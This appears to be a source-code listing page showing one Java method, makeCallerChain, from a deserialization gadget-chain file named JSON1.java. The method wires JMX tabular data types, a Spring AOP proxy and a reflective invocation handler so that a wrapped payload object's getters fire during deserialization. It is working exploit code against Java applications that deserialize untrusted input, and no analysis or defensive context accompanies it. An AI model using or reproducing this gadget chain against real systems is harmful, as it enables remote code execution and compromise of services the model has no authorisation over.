JSON1.java 文件源码

/**
 * Will call all getter methods on payload that are defined in the given interfaces
 */
public static Map makeCallerChain ( Object payload, Class... ifaces ) throws OpenDataException, NoSuchMethodException, InstantiationException,
        IllegalAccessException, InvocationTargetException, Exception, ClassNotFoundException {
    CompositeType rt = new CompositeType("a", "b", new String[] {
        "a"
    }, new String[] {
        "a"
    }, new OpenType[] {
        javax.management.openmbean.SimpleType.INTEGER
    });
    TabularType tt = new TabularType("a", "b", rt, new String[] {
        "a"
    });
    TabularDataSupport t1 = new TabularDataSupport(tt);
    TabularDataSupport t2 = new TabularDataSupport(tt);

    // we need to make payload implement composite data
    // it's very likely that there are other proxy impls that could be used
    AdvisedSupport as = new AdvisedSupport();
    as.setTarget(payload);
    InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections
            .getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as);
    InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
    CompositeInvocationHandlerImpl invocationHandler = new CompositeInvocationHandlerImpl();
    invocationHandler.addInvocationHandler(CompositeData.class, cdsInvocationHandler);
    invocationHandler.setDefaultHandler(delegateInvocationHandler);
    final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);

    JSONObject jo = new JSONObject();
    Map m = new HashMap();
    m.put("t", cdsProxy);
    Reflections.setFieldValue(jo, "properties", m);
    Reflections.setFieldValue(jo, "properties", m);
    Reflections.setFieldValue(t1, "dataMap", jo);
    Reflections.setFieldValue(t2, "dataMap", jo);
    return Gadgets.makeMap(t1, t2);
}